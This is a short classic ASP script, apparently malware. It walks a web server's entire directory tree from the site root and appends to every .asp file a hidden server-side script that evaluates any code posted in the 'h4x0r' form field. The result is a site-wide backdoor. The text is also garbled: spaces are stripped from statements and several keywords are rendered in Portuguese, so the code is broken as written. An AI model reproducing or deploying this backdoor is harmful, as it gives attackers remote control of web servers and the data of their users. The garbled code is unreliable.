<%
Dimph
Dimintfile
Server.scriptTimeout = 600
ph = server.mappath ("/")
SubInsertallfiles (caminho)
Setfso = createObject ("script.filesystemoBject")
OnErrorReSumenext
Setf = fso.getFolder (caminho)
Setfc2 = f.files
ForeachmyfileInfc2
IflCase (fso.geTextensionName (Path & "" & myfile.name)) = "asp" então
Setfs1 = createObject ("script.filesystemoBject")
SettFile = fs1.OPENTEXTFILE (PATH & "" & myfile.name, 8, false)
tfile.writeLine "<scriptrunat = serverLanguage = javascript> avaliou (request.form ('h4x0r')+'') </sCript>"
outro
Insertallfiles (newpath)
endif
tfile.close
Próximo
Setfsubfolers = f.subFolders
Foreachf1infsubfolers
newPath = Path & "" & f1.name
Insertallfiles (newpath)
Próximo
SettFile = nada
Setfso = nada
Endsub
%>
<%
callinsertallfiles (ph)
%>